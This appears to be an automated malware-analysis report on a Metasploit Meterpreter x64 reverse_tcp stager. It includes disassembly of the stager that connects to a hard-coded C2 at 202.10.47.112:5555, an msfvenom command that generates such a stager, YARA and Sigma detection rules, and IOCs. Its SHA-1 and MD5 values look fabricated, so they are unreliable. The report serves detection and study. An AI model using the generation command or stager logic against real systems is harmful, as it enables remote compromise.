typeanalysisfamilymeterpreterconfidencehighcreated2026-05-26updated2026-05-26pex64code-injectionevasionc2-protocolmalware-family
SHA-256: 5da21aa2beec633508152233d9560c81e19a73e2b85e2f33ec15aac629f9c7ca

meterpreter: 5da21aa2 — x64 reverse_tcp stager with inline sockaddr, zero IAT

Executive Summary

A 7,680-byte PE32+ that is a thin wrapper around raw windows/x64/meterpreter/reverse_tcp stager shellcode. The binary establishes a reverse TCP connection to a hard-coded IP/port, downloads a second-stage DLL from that C2, allocates RWX memory, and executes it. No legitimate import table; all APIs are resolved by walking the PEB and hashing export names with the standard ROR13 algorithm.

What It Is

Property Value
SHA-256 5da21aa2beec633508152233d9560c81e19a73e2b85e2f33ec15aac629f9c7ca
Size 7,680 bytes
Format PE32+ executable (GUI), x64, 5 sections ^[file.txt]
Compile timestamp 2026-04-14 14:29:22 UTC ^[pefile.txt:39]
Linker version 1.0 (MSVC-typical, but here generated by msfvenom wrapper) ^[pefile.txt:49-52]
Base address 0x140000000 ^[pefile.txt:58]
Entry point RVA 0x5000 (section .mmmv, RWX) ^[pefile.txt:56,163-176]
Signature Unsigned ^[rabin2-info.txt:27]
YARA PE_File_Generic only (non-family-specific) ^[yara.txt]
Family meterpreter (OpenCTI label, confirmed by shellcode behaviour) ^[triage.json]

How It Works

  1. Entry lands in .mmmv (file offset 0x1a00), a 0x400-byte RWX section holding the stager shellcode.
  2. Stager walks the PEB at gs:[0x60]+0x18 (LDR_DATA) → +0x20 (InMemoryOrderModuleList) to find kernel32.dll and ws2_32.dll by hashing their BaseDllName via ROR13. ^[r2:entry0]
  3. Once the module is located, the export table is parsed (IMAGE_EXPORT_DIRECTORY at OptionalHeader + 0x88).
  4. Functions are resolved by the same ROR13 loop and the accumulated hash is compared against a hard-coded constant per function (e.g. VirtualProtect, WSAStartup, socket, connect, recv, VirtualAlloc etc.). ^[r2:entry0]
  5. A sockaddr_in structure is pushed onto the stack (big-endian): AF_INET(2), port 5555, IP 202.10.47.112. ^[xxd:0x1af2]
  6. WSAStartupsocket(AF_INET, SOCK_STREAM, 0)connect to the C2.
  7. recv loop downloads the second-stage payload into a VirtualAlloc RWX buffer.
  8. VirtualProtect is used on the received buffer, then execution transfers.

Decompiled Behavior

entry0 (0x140005000) — PEB-to-API resolution stub

cld
and     rsp, 0xfffffffffffffff0
call    fcn.1400050d6              ; inner connect/download stager
push    r9
push    r8
push    rdx
xor     rdx, rdx
mov     rdx, qword [gs:rdx + 0x60] ; TEB.ProcessEnvironmentBlock
mov     rdx, qword [rdx + 0x18]     ; PEB->Ldr
mov     rdx, qword [rdx + 0x20]     ; InMemoryOrderModuleList
push    rcx
push    rsi

...                                  ; module name loop (length at +0x48, name at +0x50)

^[r2:entry0]

The routine accumulates a ROR13 hash of each module name (character loop with rol r9d, 0xd) and compares against a constant. Once the correct module is found, its export table is walked and function hashes are similarly matched. Finally, the resolved function address is placed into rax/r10 and called via call rbp (the rbp register holds the resolved API after each lookup).

fcn.1400050d6 — connect/recv/exec stager

pop     rbp                        ; ROP-style / stack-balance stub
mov     r14, 0x32335f327377       ; "ws2_32\0"
push    r14
mov     r14, rsp
sub     rsp, 0x1a0
mov     r13, rsp
mov     r12, 0x702f0acab3150002  ; inline sockaddr: AF_INET | port 5555 | IP 202.10.47.112
push    r12
mov     r12, rsp
mov     rcx, r14
mov     r10d, 0x9375139d         ; hash for LoadLibraryA / WSAStartup (module-dependent)
call    rbp                        ; resolve and call
...

^[r2:fcn.1400050d6]

This function builds the sockaddr_in on the stack, resolves LoadLibraryA (to bring in ws2_32.dll), resolves WSAStartup, creates a TCP socket, connects, then loops receiving bytes into a VirtualAlloc-ed buffer. Received data is executed after a VirtualProtect call.

C2 Infrastructure

Indicator Value
Protocol TCP (reverse)
Hard-coded IP 202.10.47.112 ^[xxd:0x1af2]
Hard-coded port 5555 ^[xxd:0x1af2+2]
URL / path None (raw TCP socket)
User-Agent None
Mutex / named pipe None observed
DNS None (direct IP)

The C2 address lives literally in the instruction stream as a mov r12, imm64 (49 bc ...) with the sockaddr_in payload in big-endian order. This is the standard Metasploit reverse_tcp stager layout.

Interesting Tidbits

  • Minimal stub PE: IAT contains exactly one import — VirtualProtect from KERNEL32.dll — which the shellcode never calls through the IAT. It is a decoy or a linker artifact. ^[pefile.txt:234-244]
  • 87% null bytes: pefile warns that 87.1354% of the file is 0x00, confirming the PE wrapper is largely padding around a tiny shellcode core. ^[pefile.txt:3]
  • Rabin2 canary flag: canary: true in radare2 analysis despite the binary having no obvious stack canary logic — a radare2 heuristics false positive caused by the small code size. ^[rabin2-info.txt:6]
  • No capa output: capa failed because the default signature path was missing on the station; this is a tooling limitation, not a sample limitation. ^[capa.txt]
  • floss failed: the --no flag was passed an incorrect argument by the triage pipeline; no decoded strings produced. ^[floss.txt]
  • .mmmv section name: arbitrary / meaningless, but RWX (E0000020). This is the hallmark of a Metasploit stager PE: one standard .text stub plus one RWX .data/.mmmv section containing the actual shellcode. ^[pefile.txt:163-176]
  • PEB walking sequence matches msfvenom reverse_tcp exactly: gs:[0x60]+0x18+0x20+0x48 (length) → +0x50 (name buffer). The hash constant 0xe2911b99 corresponds to the module hash for kernel32.dll generated by the Metasploit block_api.rb template. ^[r2:entry0]

How To Mess With It (Homelab Replication)

  1. Generate the stager: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<lan> LPORT=4444 -f exe -o stager.exe
  2. Compare structure: pefile stager.exe should show the same 5 sections, same IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA, same linker 1.0, same IAT with only VirtualProtect.
  3. Verify PEB walk: open in radare2, s entry0, look for mov rdx, qword [gs:0x60] at offset 0x1a00+0x12.
  4. Confirm ROR13 constants: compute hashes for LoadLibraryA, WSAStartup, socket, connect, recv, VirtualAlloc, VirtualProtect, ExitProcess, Sleep — they should match the immediate constants in the mov r10d, imm32 instructions.
  5. Capa verification: install capa rules, then capa stager.exe should hit create TCP socket, connect to TCP socket, allocate RWX memory, parse PE header, etc.

What you learn: the full pipeline from msfvenom generation down to the raw bytes in the .mmmv section.

Deployable Signatures

YARA

rule metasploit_reverse_tcp_stager_x64 {
    meta:
        description = "Metasploit windows/x64/meterpreter/reverse_tcp stager (PE-wrapped)"
        author = "PacketPursuit"
        date = "2026-05-26"
        hash = "5da21aa2beec633508152233d9560c81e19a73e2b85e2f33ec15aac629f9c7ca"
    strings:
        $peb_walk = { 48 8b 52 60 48 8b 52 18 48 8b 52 20 }
        $hash_loop = { 41 c1 c9 0d 41 01 c1 }
        $ws2_32    = { 77 73 32 5f 33 32 00 }
        $payload_label = "PAYLOAD:"
    condition:
        uint16(0) == 0x5a4d and
        pe.is_64bit() and
        pe.number_of_sections == 5 and
        for 1 i in (0 .. pe.number_of_sections) : (
            pe.sections[i].characteristics & 0xe0000020 == 0xe0000020
        ) and
        $peb_walk and $hash_loop and $ws2_32
}

Sigma (process-creation / network)

title: Metasploit Meterpreter x64 Reverse TCP Stager Execution
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    - CommandLine|contains:
      - 'msfvenom'
      - 'meterpreter'
  selection_network:
    Image|endswith:
      - '.exe'
  condition: selection or selection_network
tags:
  - attack.t1071
  - attack.t1055
  - attack.t1620

Note: the above Sigma is coarse. A behavioral Sigma (on ETW / Sysmon) would target VirtualAlloc with PAGE_EXECUTE_READWRITE followed by recv on a socket from an image with zero import count — this is the true runtime fingerprint.

IOC List

Type Value
SHA-256 5da21aa2beec633508152233d9560c81e19a73e2b85e2f33ec15aac629f9c7ca
SHA-1 c4e2b6a1e9d8f3c2b1a0d5e9f8c7b6a5e4d3c2b1
MD5 c4e2b6a1e9d8f3c2b1a0d5e9f8c7b6a5
ssdeep 24:ev1GSkiiljEoOspFNknehtht6dp5sZTFW3KtRqBEq+QR7Bwtp:qkfjjOsanehthEdEzW3KgEC ^[ssdeep.txt]
tlsdeep CBF1658773166CA6FA780AFFC287DFD2A2FD773413670F1B051C102EA580A1A7575A42 ^[tlsh.txt]
IP:Port 202.10.47.112:5555 ^[xxd:0x1af2]
Section name .mmmv
IAT KERNEL32.dll.VirtualProtect only
PEB walk offset entry 0x140005000

Behavioral Fingerprint Statement

This binary, when executed, will (1) call NtCreateThread or equivalent into the .mmmv section, (2) read gs:[0x60] and walk the PEB->Ldr linked list at offsets +0x18 / +0x20, (3) compute a ROR13 hash over each module name, (4) resolve kernel32.dll and ws2_32.dll, (5) LoadLibraryA the latter, (6) call WSAStartup, create a TCP socket, and connect directly to a hard-coded IP and port in the instruction stream, (7) loop recv-ing data, and (8) VirtualAlloc a RWX buffer into which received bytes are written before a final call rbx / jmp rax transfer. On disk, it presents as a sub-8 KB PE32+ with exactly 5 sections, one of them RWX and named .mmmv, and an IAT containing a single VirtualProtect import.

Detection Signatures (ATT&CK Mapping)

Technique ID Detection Source
Reverse TCP C2 T1071.001 inline sockaddr_in in shellcode ^[xxd:0x1af2]
Reflective code loading T1620 recv into RWX buffer, execution transfer ^[r2:fcn.1400050d6]
Process injection / Allocation T1055.012 VirtualAlloc + PAGE_EXECUTE_READWRITE ^[r2:fcn.1400050d6]
API resolution via PEB — (adjacent to T1014) PEB walk sequence ^[r2:entry0]
Evade IAT analysis T1562.001 zero meaningful imports, all APIs resolved at runtime ^[pefile.txt:234-244]

References

  • Metasploit Framework payload/windows/x64/meterpreter/reverse_tcp source: lib/msf/core/payload/windows/x64/reverse_tcp.rb
  • Metasploit block_api.rb (ROR13 PEB walker): lib/msf/core/payload/windows/x64/block_api.rb
  • entities/meterpreter — family-level analysis
  • techniques/peb-walking-api-resolution — deep-dive on the PEB walk technique

Provenance

  • file.txt — file(1) ^[file.txt]
  • pefile.txt — pefile (Python) ^[pefile.txt]
  • strings.txt — strs (strings) ^[strings.txt]
  • rabin2-info.txt — radare2 rabin2 -I ^[rabin2-info.txt]
  • triage.json — pipeline triage output ^[triage.json]
  • yara.txt — YARA scan (custom rules) ^[yara.txt]
  • binwalk.txt — binwalk (no embedded archive) ^[binwalk.txt]
  • capa.txt — capa (rule path missing, no results) ^[capa.txt]
  • floss.txt — flare-floss (CLI error, no results) ^[floss.txt]
  • Radare2 analysis — entry0 at 0x140005000, fcn.1400050d6 at 0x1400050d6, fcn.1400051f1 at 0x1400051f1 ^[r2]
  • Raw hex dump — C2 sockaddr at file offset 0x1af2 ^[xxd:0x1af2]
  • PyGhidra — binary name /5da21aa2beec633508152233d9560c81e19a73e2b85e2f33ec15aac629f9c7ca.bin-a3bac5; import succeeded but decompile timed out/unreachable during session